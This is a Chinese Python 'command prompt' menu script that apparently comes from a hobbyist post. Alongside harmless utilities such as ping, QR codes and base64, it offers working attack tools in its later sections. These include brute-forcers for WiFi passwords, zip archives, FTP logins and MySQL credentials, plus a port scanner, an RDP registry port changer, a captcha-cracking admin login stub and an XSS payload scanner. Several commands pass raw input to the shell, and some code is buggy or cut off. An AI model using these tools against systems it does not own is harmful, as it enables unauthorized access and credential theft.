作者:奋斗少年 作者QQ:3266986273
开发工具:pycharm 语言:python 复制粘贴可用 记得安装模块
代码如下: <提示:无效果图 可以自己pycharm调试>
'''奋斗少年工作室-cmd中文人人实用版 1.0.3'''
import os
import whois
import base64
import datetime
import pexpect
from ftplib import FTP
import socket,sys
import time
import yagmail
import pywifi
import tkinter.filedialog # 在Gui中打开文件浏览
import tkinter.messagebox # 打开tkiner的消息提醒框
import zipfile
import itertools
import psutil
from translate import Translator
import qrcode
from urllib import request, parse
import json
from asyncio.tasks import sleep
import requests
import winreg
from urllib import request
from string import digits, ascii_lowercase, ascii_uppercase
import hashlib
import optparse
import pymysql
import PyPDF2
import pymysql
import configparser
from threading import *
from tkinter import *
from tkinter import messagebox
from tkinter import ttk
import socket
import queue
from colorama import init, Fore, Back, Style
from prettytable import PrettyTable
import urllib3
from urllib.parse import urlparse
from bs4 import BeautifulSoup
import pywifi
from pywifi import const
from pywifi import const
import datetime
import re
print('*'*35)
print('欢迎使用[奋斗中文特色CMD版1.0.3.\n作者:@奋斗少年.\nQQ:@3266986273 \n作者QQ群:202338311')
print('*'*35)
while True:
cmd_name=str(input('请输入指令:'))
if cmd_name=='电脑版本':
print('*'*35)
print('使用指令如下:电脑版本')
winver=os.system('winver')
print('*' * 35)
elif cmd_name=='网络测速':
print('*' * 35)
print('使用指令如下:www.baidu.com')
print('*' * 35)
ping = str(input('请输入要ping网址:'))
ping_two='ping'+' '+ ping
ping_for=os.system(ping_two)
print('*' * 35)
elif cmd_name=='网络配置':
print('*' * 35)
print('使用指令如下:网络配置')
ipconfig = os.system('ipconfig')
print('*' * 35)
elif cmd_name=='打开':
print('*' * 35)
print('使用指令如下:打开 www.baidu.com')
print('*' * 35)
start=str(input('要打开的东西:'))
start_two='start'+' '+start
start_for=os.system(start_two)
print('*' * 35)
elif cmd_name=='创建文件夹':
print('*' * 35)
print('使用指令如下:桌面 \n奋斗少年')
print('*' * 35)
print('位置有:桌面,D盘,E盘')
print('*' * 35)
mkdir_input_two = str(input('创建的位置:'))
print('*' * 35)
mkdir_input=str(input('创建文件夹名称:'))
if mkdir_input_two=='桌面':
mkdir_chdir=os.chdir('C:\\Users\Administrator\Desktop')
mkdir=os.mkdir(mkdir_input)
print('*' * 35)
print('创建成功,文件夹名称:{}'.format(mkdir_input))
print('*' * 35)
elif cmd_name=='生成二维码_1':
print('*' * 35)
print('使用指令如下:第一个写的是内容:奋斗少年万岁\n第二个写的是格式与标题:奋斗.jpg')
print('*' * 35)
print('二维码显示内容可以写:数字,文字,链接\n二维码默认保存位置桌面')
print('*' * 35)
Desktop_erweima=os.chdir('C:\\Users\Administrator\Desktop')
users_name=str(input('请写一下二维码扫码显示内容:'))
if users_name==users_name:
img=qrcode.make(users_name)
print('*' * 35)
print('格式列如:jpg,png')
print('*' * 35)
uesr=str(input('请输入二维码标题与格式:'))
img.save(uesr)
print('*' * 35)
print('生成成功')
print('*' * 35)
elif cmd_name=='字体变色':
cmd_color=['绿色','红色','黄色','黑色','紫色']
print('*' * 35)
print('指令使用如下:绿色')
print('*' * 35)
print('颜色指令:红色,绿色,黄色,黑色,紫色')
print('*' * 35)
color_input=str(input('请输入要修改的字体颜色:'))
if color_input=='绿色':
cmd_color_cmd=os.system('color 2')
print('*' * 35)
print('字体已经修改了:绿色')
print('*' * 35)
elif color_input=='红色':
cmd_color_cmd=os.system('color 4')
print('*' * 35)
print('字体已经修改了:红色')
print('*' * 35)
elif color_input=='黄色':
cmd_color_cmd=os.system('color 6')
print('*' * 35)
print('字体已经修改了:黄色')
print('*' * 35)
elif color_input=='黑色':
cmd_color_cmd=os.system('color 0')
print('*' * 35)
print('字体已经修改了:黑色')
print('*' * 35)
elif color_input=='紫色':
cmd_color_cmd=os.system('color 5')
print('*' * 35)
print('字体已经修改了:紫色')
print('*' * 35)
elif cmd_name=='删除文件夹':
print('*' * 35)
print('使用指令如下:桌面 奋斗')
print('*' * 35)
print('目前位置只支持桌面,请期待作者更新呦.')
print('*' * 35)
Desktop_rmdir=str(input('请输入位置:'))
rmdir_name = str(input('你要删除的文件名:'))
if Desktop_rmdir=='桌面':
Desktop_rmdir_two=os.chdir('C:\\Users\Administrator\Desktop')
rmdir_name_two=os.rmdir(rmdir_name)
print('*' * 35)
print('你成功删除了文件')
print('*' * 35)
elif cmd_name=='删除文件夹_2':
print('*' * 35)
print('指令说明:自定义删除文件夹,需要填写绝对路径然后写文件名!')
print('*' * 35)
input_rmdir=str(input('要删除文件的路径:'))
input_rmdir_name=str(input('要删除的文件名:'))
Desktop_rmdir_for=os.chdir(input_rmdir)
if Desktop_rmdir_for==Desktop_rmdir_for:
Desktop_rmdir_for_one=os.rmdir(input_rmdir_name)
print('*' * 35)
print('成功删除了文件')
print('*' * 35)
elif cmd_name=='进':
print('*' * 35)
print('指令使用如下:C:\\')
print('*' * 35)
cd_jin_one=str(input('要进入的路径:'))
if cd_jin_one==cd_jin_one:
cd_jin_two=os.system(cd_jin_one)
print('*' * 35)
print('你当前进入了{}文件'.format(cd_jin_two))
print('*' * 35)
cd_listdir=os.system('dir')
print('*' * 35)
print('当前目录所有内容已经展开')
print('*' * 35)
elif cmd_name=='退':
print('*' * 35)
print('指令使用如下:C:\\')
print('*' * 35)
cd_tui_one=str(input('你要退的路径:'))
if cd_tui_one==cd_tui_one:
cd_tui_two=os.system(cd_tui_one)
print('*' * 35)
print('你成功退出到当前写的目录')
print('*' * 35)
cd_listdir_two = os.system('dir')
print('*' * 35)
print('当前目录所有内容已经展开')
print('*' * 35)
elif cmd_name=='返回根目录':
print('*' * 35)
print('指令使用如下:返回根目录')
print('*' * 35)
cd_fan_one=str(input('请填写信息:'))
if cd_fan_one==cd_fan_one:
cd_fan_two=os.system('cd \\')
print('*' * 35)
print('已经返回根目录')
print('*' * 35)
elif cmd_name=='读文件内容':
print('*' * 35)
print('指令使用如下:绝对路径.txt,绝对路径默认桌面')
print('*' * 35)
desktop_type=os.chdir('C:\\Users\Administrator\Desktop')
type_one=str(input('请输入要读内容的文件:'))
if type_one==type_one:
type_two=os.system('type'+' '+type_one)
print('*' * 35)
print('全部内容展现完毕')
print('*' * 35)
elif cmd_name=='退出':
print('*' * 35)
print('指令使用如下:退出')
print('*' * 35)
exit_input=str(input('请输入退出即可关闭:'))
if exit_input==exit_input:
exit_kan=os.system('exit')
print('*' * 35)
print('已经退出奋斗中文特色cmd版')
print('*' * 35)
exit()
elif cmd_name=='创建文件':
print('*' * 35)
print('指令使用如下:奋斗.txt,默认桌面,其他的敬请期待作者更新')
print('*' * 35)
type_chuang_desktop=os.chdir('C:\\Users\Administrator\Desktop')
type_chuang=str(input('请输入要创建的文件名:'))
if type_chuang==type_chuang:
type_chuang_tow=os.system('type nul>'+type_chuang)
print('*' * 35)
print('创建文件成功啦')
print('*' * 35)
elif cmd_name=='查看当前目录':
print('*' * 35)
print('指令使用如下:查看当前目录')
print('*' * 35)
dir_input=str(input('请输入指令:'))
if dir_input==dir_input:
dir_input_two=os.system('dir')
print('*' * 35)
print('当前目录列出完毕')
print('*' * 35)
elif cmd_name=='查看当前目录文件大小':
print('*' * 35)
print('指令使用如下:目录文件大小')
print('*' * 35)
dir_p_input=str(input('请输入指令:'))
if dir_p_input==dir_p_input:
dir_p_kan=os.system('dir/p')
print('*' * 35)
print('文件目录调用完毕')
print('*' * 35)
elif cmd_name=='扒站':
print('*' * 35)
print('指令使用如下:http://www.baidu.com')
print('*' * 35)
url=str(input('要扒的网站地址:'))
try:
r=requests.get(url)
r.raise_for_status()
r.encoding=r.apparent_encoding
print('*' * 35)
print(r.text[:1000])
print('*' * 35)
except:
print('*' * 35)
print('爬取失败')
print('*' * 35)
elif cmd_name=='清屏':
print('*' * 35)
print('指令使用如下:清屏')
print('*' * 35)
cls_input=str(input('请填写指令:'))
if cls_input==cls_input:
cls_kan=os.system('cls')
print('*' * 35)
print('清屏成功啦')
print('*' * 35)
elif cmd_name=='标题改名':
print('*' * 35)
print('指令使用如下:奋斗少年')
print('*' * 35)
title_input=str(input('请输入你要改的标题名字:'))
if title_input==title_input:
title_kan=os.system('title'+ ' '+title_input)
print('*' * 35)
print('修改成功啦')
print('*' * 35)
elif cmd_name=='计算器':
print('*' * 35)
print('指令使用如下:计算器')
print('*' * 35)
calc=os.system('calc')
print('计算器启动成功啦')
print('*' * 35)
elif cmd_name=='垃圾清理':
print('*' * 35)
print('指令使用如下:垃圾清理')
print('*' * 35)
cleanmgr_one=os.system('cleanmgr')
print('*' * 35)
print('系统自带垃圾清理器已经打开')
print('*' * 35)
elif cmd_name=='控制面板':
print('*' * 35)
print('指令使用如下:控制面板')
control_one=os.system('control')
print('*' * 35)
print('控制面板打开啦')
print('*' * 35)
elif cmd_name=='电脑防火墙':
print('*' * 35)
print('指令使用如下:电脑防火墙')
print('*' * 35)
firewall_cpl=os.system('Firewall.cpl')
print('*' * 35)
print('已经打开防火墙设置')
print('*' * 35)
elif cmd_name=='远程桌面':
print('*' * 35)
print('指令使用如下:远程桌面')
print('*' * 35)
mstsc_one=os.system('mstsc')
elif cmd_name=='电脑性能监视器':
print('*' * 35)
print('指令使用如下:电脑性能监视器')
print('*' * 35)
perfmon=os.system('perfmon')
print('打开电脑性能监视器啦')
print('*' * 35)
elif cmd_name=='系统截图工具':
print('*' * 35)
print('指令使用如下:系统截图工具')
print('*' * 35)
snippingtool=os.system('snippingtool')
print('电脑系统截图工具已经打开')
print('*' * 35)
elif cmd_name=='检测密码强度':
def check(pwd):
pwd=input('请输入密码:')
# 密码必须至少包含6个字符
if not isinstance(pwd, str) or len(pwd) < 6:
return 'not suitable for password'
# 密码强度等级与包含的种类的对应关系
d = {1: 'weak', 2: 'below middle', 3: 'above middle', 4: 'strong'}
# 分别用来标记pwd是否含有数字,大小写字母
# 大写字母和指定的标点符号
r = [False] * 4
for ch in pwd:
# 是否包含数字
if not r[0] and ch in digits:
r[0] = True
# 是否包含小写字母
elif not r[1] and ch in ascii_lowercase:
r[1] = True
# 是否包含大写字母
elif not r[2] and ch in ascii_lowercase:
r[2] = True
# 是否包含指定的标点符号
elif not r[3] and ch in ',.!;?<>':
r[2] = True
# 统计包含的字符种类,返回密码强度
return d.get(r.count(True), 'error')
print('*' * 35)
print(check('a2Cd,abc'))
print('*' * 35)
elif cmd_name=='网址检测':
try:
with request.urlopen(str(input('要查询的网址:'))) as file:
print('*' * 35)
print('状态码:',file.status)
print('*' * 35)
print('可用程度:',file.reason)
print('*' * 35)
except Exception as e:
print(e)
elif cmd_name=='判断域名有效':
import re
pattern = re.compile(
r'^(([a-zA-Z]{1})|([a-zA-Z]{1}[a-zA-Z]{1})|'
r'([a-zA-Z]{1}[0-9]{1})|([0-9]{1}[a-zA-Z]{1})|'
r'([a-zA-Z0-9][-_.a-zA-Z0-9]{0,61}[a-zA-Z0-9]))\.'
r'([a-zA-Z]{2,13}|[a-zA-Z0-9-]{2,30}.[a-zA-Z]{2,3})$'
)
def is_valid_domain(domain):
"""
Return whether or not given value is a valid domain.
If the value is valid domain name this function returns ``True``, otherwise False
:param value: domain string to validate
"""
return True if pattern.match(domain) else False
domain =str(input('请输入域名:'))
print('*' * 35)
print(is_valid_domain(domain))
print('*' * 35)
elif cmd_name=='安装库':
print('*' * 35)
print('指令使用如下:requests')
print('*' * 35)
pip_input=str(input('请输入要安装的python库名:'))
if pip_input==pip_input:
pip_two=os.system('pip install'+' '+pip_input)
print('*' * 35)
print('你安装的{}库已经安装成功'.format(pip_input))
print('*' * 35)
elif cmd_name=='安装库_2':
print('*' * 35)
print('指令使用如下:requests,当前是pip3 install请求.')
print('*' * 35)
pip_input_two=str(input('请输入要安装的python库名:'))
if pip_input_two==pip_input_two:
pip_for=os.system('pip3 install'+' '+pip_input_two)
print('*' * 35)
print('安装成功了{}库'.format(pip_input_two))
print('*' * 35)
elif cmd_name=='打包exe':
print('提示:请到安装库,安装pyinstaller库后再进行打包.\n指令使用如下:[输入绝对路径]-[写一下python文件名]')
print('自动安装pyinstaller库中')
c=os.system('pip install pyinstaller')
pyinstaller_Desktop=str(input('请填写py项目名绝对路径:'))
pyinstaller_input=str(input('请填写py项目名:'))
if pyinstaller_Desktop==pyinstaller_Desktop:
Desktop_chdir=os.chdir(pyinstaller_Desktop)
pyinstaller_dabao=os.system('Pyinstaller -F -w '+pyinstaller_input)
print('打包{}py文件成功啦'.format(pyinstaller_input))
elif cmd_name=='x6': #开始执行X6代码
def x6():
while True:
x6_input=str(input('请填写中文意思:'))
if x6_input==x6_input:
if x6_input=='你是我的主人':
print('*' * 35)
print('x6代码:%QQ%==%主人%')
print('*' * 35)
elif x6_input=='你不是我的主人':
print('*' * 35)
print('x6代码:%QQ%!=%主人%')
print('*' * 35)
elif x6_input=='获取发言者的QQ号':
print('*' * 35)
print('x6代码:[%QQ%]')
print('*' * 35)
elif x6_input=='获取发言者的群昵称':
print('*' * 35)
print('x6代码:[ %昵称%]')
print('*' * 35)
elif x6_input=='获取机器人收到消息的群号':
print('*' * 35)
print('x6代码:[%群号%]')
print('*' * 35)
elif x6_input=='获取被艾特(@)的人的QQ号':
print('*' * 35)
print('x6代码:[%TAO%]')
print('*' * 35)
elif x6_input=='获取高级词库插件界面填写的主人帐号':
print('*' * 35)
print('x6代码:[%主人%]')
print('*' * 35)
else:
print('*' * 35)
print('输入错误')
print('*' * 35) #x6代码执行完毕
x6()
elif cmd_name=='监控电脑内存':
def getMyCpu():
print('*' * 35)
print('指令使用如下:监控电脑内存')
print('*' * 35)
data = psutil.virtual_memory()
total = data.total # 总内存
print('*' * 35)
print('TotalMemory', total)
print('*' * 35)
free = data.available # 可用内存
print('*' * 35)
print('FreeMemory', free)
print('*' * 35)
memory = "Memory usage:%d" % (int(round(data.percent)))
print('*' * 35)
print(memory + "%")
print('*' * 35)
CPU = "CPU:%0.2f" % psutil.cpu_percent(interval=1)
print('*' * 35)
print(CPU + '%')
print('*' * 35)
RestMemory = 100 - int(round(data.percent))
if RestMemory > 10:
print('*' * 35)
print("\033[0;34m%s\033[0m" % "Sufficient Memory") # 输出蓝色字体
print('*' * 35)
elif RestMemory <= 5:
print('*' * 35)
print("\033[0;31m%s\033[0m" % "AvailableMemory<=5%") # 输出红色字体
print('*' * 35)
else:
print('*' * 35)
print("\033[0;32m%s\033[0m" % "AvailableMemory<=10%") # 输出绿色字体
print('*' * 35)
if __name__ == "__main__":
getMyCpu()
elif cmd_name=='ip查询socket':
print('*' * 35)
print('指令使用如下:www.baidu.com')
print('*' * 35)
socket_ip=str(input('请输入要查询的网址:'))
if socket_ip==socket_ip:
ip = socket.gethostbyname(socket_ip)
print('*' * 35)
print('socket查询:',ip)
print('*' * 35)
elif cmd_name=='cdn查询':
print('*' * 35)
print('指令使用如下:www.baidu.com')
print('*' * 35)
cdn_input=str(input('请输入你要查询的网址:'))
if cdn_input==cdn_input:
cdn_data = os.popen('nslookup'+' '+cdn_input)
cdn_datas = cdn_data.read()
print('*' * 35)
print(cdn_datas)
print('*' * 35)
x = (cdn_datas.count('.'))
print('*' * 35)
print(x)
print('*' * 35)
if x > 10:
print('*' * 35)
print('cdn存在')
print('*' * 35)
else:
print('*' * 35)
print('cdn不存在')
print('*' * 35)
elif cmd_name=='whois查询':
print('*' * 35)
print('指令使用如下:www.baidu.com')
print('*' * 35)
whois_input=str(input('请输入要查询的网址:'))
data = whois.whois(whois_input)
print('*' * 35)
print('whois查询',data)
print('*' * 35)
elif cmd_name=='端口扫描':
print('*' * 35)
print('指令使用如下:www.baidu.com')
print('*' * 35)
url =str(input('请输入你要端口扫描的网址:'))
ip = socket.gethostbyname(url)
ports = {'21', '22', '25', '110', '135', '80', '8080', '8888', '7000', '7001', '3389', '443', '3306', '1433',
'1521', '9090', '8089', '4848', '445'}
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
for port in ports:
data_ip = server.connect_ex((ip, int(port)))
if data_ip == 0:
print('*' * 35)
print(ip + ":" + port + '|open')
print('*' * 35)
else:
print('*' * 35)
print(ip + ":" + port + '|close')
print('*' * 35)
elif cmd_name=='爆破zip加密文件':
print('*' * 35)
print('指令使用如下:[写入zip加密文件绝对路径]')
print('*' * 35)
filename = str(input('要爆破的zip文件路径:'))
def uncompress(file_name, pass_word):
try:
with zipfile.ZipFile(file_name) as z_file:
z_file.extractall("./", pwd=pass_word.encode("utf-8"))
return True
except:
return False
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
for i in range(12):
for c in itertools.permutations(chars, i):
password = ''.join(c)
print('*' * 35)
print(password)
print('*' * 35)
result = uncompress(filename, password)
if not result:
print('*' * 35)
print('解压失败。', password)
print('*' * 35)
else:
print('*' * 35)
print('解压成功。', password)
print('*' * 35)
break
elif cmd_name=='内容MD5加密':
print('*' * 35)
print('指令使用如下:奋斗少年')
print('*' * 35)
# 待加密信息
name_md5_jiami =str(input('请填写要加密的MD5内容:'))
# 创建md5对象。记得md5后面加括号
m = hashlib.md5()
# 此处必须声明encode
m.update(name_md5_jiami.encode(encoding='utf-8'))
print('*' * 35)
print('md5加密后内容:',m.hexdigest())
print('*' * 35)
elif cmd_name=='生成密码本':
import itertools as its
print('*' * 35)
print('指令使用介绍:生成密码本完了自动默认保存桌面,然后再去输入破解可用wifi')
print('*' * 35)
# 随机8位密码生成
# chars = "1234567890abcdefghijklmnopqrstuvwxyz!@#$%&*?."
chars = "zjk0" # 我的密码是0000zjk0,所以只用这4个字符自排列
pwds = its.product(chars, repeat=8)
pwd_dic = open('C:\\Users\Administrator\Desktop\奋斗中文特殊cmd.txt', "a")
for i in pwds:
pwd_dic.write("".join(i) + "\n")
pwd_dic.close()
print('*' * 35)
print("密码本生成完毕")
print('*' * 35)
elif cmd_name=='破解可用wifi':
def wifiConnect(wifiname, wifipassword):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
# 断开连接
ifaces.disconnect()
time.sleep(0.5)
if ifaces.status() == const.IFACE_DISCONNECTED:
# 创建WiFi连接文件
profile = pywifi.Profile()
# WiFi名称
profile.ssid = wifiname
# WiFi密码
profile.key = wifipassword
# WiFi的加密算法
# *****(这个一定要选对)
profile.akm.append(const.AKM_TYPE_UNKNOWN)
# 网卡的开放
profile.auth = const.AUTH_ALG_OPEN
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 删除所有的WiFi文件
ifaces.remove_all_network_profiles()
# 设定新的连接文件
tep_profile = ifaces.add_network_profile(profile)
# 连接WiFi
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
if __name__ == '__main__':
path = r'C:\\Users\Administrator\Desktop\奋斗中文特殊cmd.txt'
file = open(path, 'r') # 以只读的方式
print("*" * 35)
print('开始破解:')
print("*" * 35)
while True:
try:
# 按行读取密码本
wifipwd = file.readline()
# 第一个参数是指定 WiFi 名称,第二个参数是读取的密码
bool = wifiConnect('密码九宫格', wifipwd)
if bool:
print("*" * 35)
print('密码正确****' + wifipwd)
print("*" * 35)
break
elif wifipwd != '':
print("*" * 35)
print('密码错误:' + wifipwd)
print("*" * 35)
else:
print("*" * 35)
print('破解结束')
print("*" * 35)
break
except:
continue
file.close()
elif cmd_name=='翻译器':
# 有道翻译:中文→英文
def fy(i):
req_url = 'http://fanyi.youdao.com/translate' # 创建连接接口
# 创建要提交的数据
Form_Date = {}
Form_Date['i'] = i
Form_Date['doctype'] = 'json'
Form_Date['form'] = 'AUTO'
Form_Date['to'] = 'AUTO'
Form_Date['smartresult'] = 'dict'
Form_Date['client'] = 'fanyideskweb'
Form_Date['salt'] = '1526995097962'
Form_Date['sign'] = '8e4c4765b52229e1f3ad2e633af89c76'
Form_Date['version'] = '2.1'
Form_Date['keyform'] = 'fanyi.web'
Form_Date['action'] = 'FY_BY_REALTIME'
Form_Date['typoResult'] = 'false'
data = parse.urlencode(Form_Date).encode('utf-8') # 数据转换
response = request.urlopen(req_url, data) # 提交数据并解析
html = response.read().decode('utf-8') # 服务器返回结果读取
# print(html)
# 可以看出html是一个json格式
translate_results = json.loads(html) # 以json格式载入
translate_results = translate_results['translateResult'][0][0]['tgt'] # json格式调取
# print(translate_results) # 输出结果
return translate_results; # 返回结果fu
res = fy(str(input('请输入你要中文翻译英语的内容:')))
print("*" * 35)
print(res)
print("*"*35)
elif cmd_name=='base64编码':
print('指令使用如下:奋斗少年')
base64_bianma= str(input("请输入要编码内容:"))
base64_bianma_dengyu = base64.b64encode(base64_bianma.encode('utf-8'))
print('base64编码:',base64_bianma_dengyu)
elif cmd_name=='base64解码':
print('指令使用如下:5aWL5paX5bCR5bm0')
base64_jiema_input=str(input('请输入要解码的内容:'))
base64_jiema_two= str(base64.b64decode(base64_jiema_input), 'utf-8')
print('base64解码内容:',base64_jiema_two)
elif cmd_name=='pdf文件加密码':
jiami_path_input =str(input('请输入绝对路径位置:')) # 文件夹路径
if jiami_path_input==jiami_path_input:
files = []
for file in os.listdir(jiami_path_input):
if file.endswith('.pdf'): # 只获取pdf文件进行加密,也可以是全部文件
files.append(jiami_path_input + file)
print(files)
for file in files:
pdf_obj = open(file, 'rb')
pdf_reader = PyPDF2.PdfFileReader(pdf_obj)
pdf_writer = PyPDF2.PdfFileWriter()
for page_num in range(pdf_reader.numPages):
page_obj = pdf_reader.getPage(page_num)
pdf_writer.addPage(page_obj)
pdf_writer.encrypt(str(input('请输入加密的密码:'))) # 加密操作,密码为 0000,可自己调整密码
pdf_output_file = open(file.split('.')[0] + '_sec.pdf', 'wb') # 以二进制写入,将保留原pdf中的信息
pdf_writer.write(pdf_output_file)
pdf_output_file.close()
elif cmd_name=='解压zip文件':
os.chdir('C:\\Users\Administrator\Desktop')
zip_jieya=str(input('请输入要解压的文件:'))
zf = zipfile.ZipFile(zip_jieya)
ret = zf.extractall() # 解压到当前工作目录
print(ret)
ret = zf.extractall(path='C:\\Users\Administrator\Desktop') # 解压到指定目录
print(ret)
print('解压成功')
elif cmd_name=='爆破FTP':
def UserDictionary():
print("搜索用户字典...")
try:
user = open("./user.txt", 'r')
print("打开用户字典成功")
return user
except Exception:
print('''未找到用户字典,\n请将用户字典名字改成user.txt,并放在与程序相同的位置''')
exit()
def PasswordDictionary():
print("搜索密码字典...")
try:
password = open("./password.txt", 'r')
print("打开密码字典成功")
return password
except Exception:
print('''未找到密码字典,\n请将用密码典名字改成password.txt,并放在与程序相同的位置''')
exit()
def GetPass(ftp, user, password):
try:
ftp.login(user, password)
print("用户名:%s" % user)
print("密码:%s" % password)
return True
except Exception:
return False
print("FTP暴力破解")
print('''1.用户名+密码字典
2.用户名字典+密码字典''')
Patterns = int(input("请选择模式:"))
if Patterns == 1:
user = input("用户名:")
passwords = PasswordDictionary().readlines()
elif Patterns == 2:
users = UserDictionary().readlines()
passwords = PasswordDictionary().readlines()
else:
print("输入错误!")
exit()
ftp = FTP()
Port = 21
IP = input("ip:")
print("连接%s中..." % IP)
try:
ftp.connect(IP, Port)
print("连接成功")
except Exception:
print("连接失败")
exit()
if Patterns == 1:
for password in passwords:
password = password.strip()
print("taxt password:%s" % password)
if (GetPass(ftp, user, password)):
exit()
elif Patterns == 2:
for user in users:
for password in passwords:
user = user.strip()
password = password.strip()
print("taxt user and password{user:%s|password;%s}" % (user, password))
if (GetPass(ftp, user, password)):
exit()
print("uaer or password is not in the taxt.")
elif cmd_name=='3389端口修改工具':
tcp = "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp"
RDP_Tcp = "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp"
reg1 = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, tcp)
port1 = winreg.QueryValueEx(reg1, 'PortNumber')
print("原端口:" + str(port1[0]))
print("新端口:")
myport = input()
winreg.SetValueEx(reg1, 'PortNumber', 0, winreg.REG_DWORD, int(myport))
port1 = winreg.QueryValueEx(reg1, 'PortNumber')
reg2 = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, RDP_Tcp)
winreg.SetValueEx(reg2, 'PortNumber', 0, winreg.REG_DWORD, int(myport))
port1 = winreg.QueryValueEx(reg1, 'PortNumber')
print("修改成功")
os.system("pause")
elif cmd_name=='验证码爆破后台':
class Config:
valiCodeUrl =str(input('请填写验证码url:')) # 验证码的url
# 验证码提交地址url
postUrl = str(input('请填写验证码提交url:'))
# 登录页面的url
hostUrl = str(input('请填写登录页面url:'))
# 搜索噪声的范围,如以3*3的大小来搜索整张图
noiseRange = 3
# 消除噪声的标准,如在3*3大小内,若非白色的点小于2个就清除
noiseClear = 2 # 去噪后的图像保存地址,观察图片调整上面参数
unNoiseIm = './unNoiseIm.png'
# 获取到的验证码图片,便于比对正确性
valiCodeIm = './image.jpg'
# 验证码包含的字符
iconset = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
# 需要识别的验证码的每个内容的横坐标,使用画图工具判断
letters = [(4, 13), (14, 22), (23, 33), (34, 44)]
# [(7,15),(16,24),(25,33),(35,43)]
# 是否训练样本
isTrain = False
# 相似度需要达到多少才算合格
qualified = 0.94
# 训练集是否初始化
initCode = False
elif cmd_name=='爆破mysql数据库':
def main():
print('使用时候记得创建一个config.ini.\n里面写的内容:[config] \n host=要爆破的地址 \n port=3306\n username=root \n password=123456 \n')
parser = optparse.OptionParser()
parser.add_option('-u', dest='username', help='MySQL username of blasting')
parser.add_option('-p', dest='password', help='MySQL password of blasting')
parser.add_option('-a', action='store_true', dest='all', help='MySQL all of blasting')
parser.add_option('-U', dest='zhidinusername',
help='Configuration parameters for all: specify user dictionary')
parser.add_option('-P', dest='zhidinpassword',
help='Configuration parameters for all: specify password dictionary')
(options, args) = parser.parse_args()
if options.username:
file = options.username
usernamepo(file)
elif options.password:
file2 = options.password
passwordpo(file2)
elif options.all and options.zhidinusername and options.zhidinpassword:
un = options.zhidinusername
pd = options.zhidinpassword
allpo(un, pd)
else:
parser.print_help()
exit()
def usernamepo(file):
cx = open('{}'.format(file), 'r')
if os.path.exists('config.ini'):
print('[+]Config.ini ok')
else:
print('[-]Config.ini Not Found')
exit()
print('[*]Read the configuration file information')
cf = configparser.ConfigParser()
cf.read('config.ini')
host = cf.get('config', 'host')
port = cf.get('config', 'port')
password = cf.get('config', 'password')
print('[/]-------Config.ini-------')
print('[+]Host:{}'.format(host))
print('[+]Port:{}'.format(port))
print('[+]password{}'.format(password))
print('[/]------User.txt----------')
if os.path.exists(file):
print('[+]User.txt ok')
else:
print('[-]User.txt Not Found')
print('[/]------Mysql blasting------')
for k in cx.readlines():
try:
db = pymysql.connect(host, k.strip(), password)
print('[+]Mysql Username in {}'.format(k.strip()))
except Exception as g:
print('[-]Not Username:{},and Error{}'.format(k.strip(), g))
def passwordpo(file2):
cx = open('{}'.format(file2), 'r')
if os.path.exists('config.ini'):
print('[+]Config.ini ok')
else:
print('[-]Config.ini Not Found')
exit()
print('[*]Read the configuration file information')
cf = configparser.ConfigParser()
cf.read('config2.ini')
host = cf.get('config', 'host')
port = cf.get('config', 'port')
username = cf.get('config', 'username')
print('[/]-------Config.ini-------')
print('[+]Host:{}'.format(host))
print('[+]Port:{}'.format(port))
print('[+]username{}'.format(username))
print('[/]------passwd.txt----------')
if os.path.exists(file2):
print('[+]Passwd.txt ok')
else:
print('[-]Passwd.txt Not Found')
print('[/]------Mysql blasting------')
for k in cx.readlines():
try:
db = pymysql.connect(host, username, k.strip())
print('[+]Mysql Password in {}'.format(k.strip()))
except Exception as g:
print('[-]Not Password:{},and Error{}'.format(k.strip(), g))
def allpo(un, pd):
user = open('{}'.format(un), 'r')
passs = open('{}'.format(pd), 'r')
usern = []
passn = []
if os.path.exists(un):
print('[+]Username.txt is ok')
else:
print('[-]Not Found username.txt')
if os.path.exists(pd):
print('[+]Password.txt is ok')
else:
print('[-]Not Found password.txt')
if os.path.exists('config3.ini'):
print('[+]Config3.ini ok')
else:
print('[-]Config3.ini Not Found')
exit()
cf = configparser.ConfigParser()
print('[/---------cofnig3.ini-------]')
cf.read('config3.ini')
host = cf.get('config', 'host')
print('[+]host:{}'.format(host))
print('[/]------Mysql blasting------')
for u in user.readlines():
usern.append(u.strip())
for y in passs.readlines():
passn.append(y.strip())
for g in range(0, len(usern)):
try:
dk = pymysql.connect(host, usern[g], passn[g])
print('[+]Username:{} and password:{}'.format(usern[g], passn[g]))
except Exception as p:
print('[-]Not username:{} and password:{} and Error:{}'.format(usern[g], passn[g], p))
if __name__ == '__main__':
main()
elif cmd_name=='xxs检测脚本':
print('使用前请在桌面创建一共名字为:payload.txt文件')
payload = []
f = open('C:\\Users\Administrator\Desktop\payload.txt', 'r')
for line in f:
payload.append(line.strip())
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
"Cookie": "security=high; PHPSESSID=b171pc6qicumo686s83fqfe6t5"
}
class spider():
def __init__(self):
self._url = ""
def run(self, url):
urls = urlsplit(url)
if urls is None:
return False
print("\r[+] XSS Scaning......")
for _urlp in urls:
for _payload in payload:
_url = _urlp.replace("payload", _payload)
# urlt = url
# self._url = _url
r = requests.get(_url, headers=headers, timeout=5)
# 如果无法正常访问返回空
if r.status_code != 200:
break
res = r.text
if res is None:
return False
# 如果页面返回内容中有payload则发现XSS
if (res.find(_payload) != -1):
print("[*] XSS Found: ", _url)
return False
# 将url拆分,并将后面参数与payload单独替换,之后查看页面反应
def urlsplit(url):
domain = url.split("?")[0]
# print(domain)
_url = url.split("?")[-1]
# print(_url)
param = {}
for val in _url.split("&"):
param[val.split('=')[0]] = val.split('=')[-1]
urls = []
for val in param.values():
new_url = domain + '?' + _url.replace(val, 'payload')
urls.append(new_url)
return urls
def main():
url = str(input("请输入url: "))
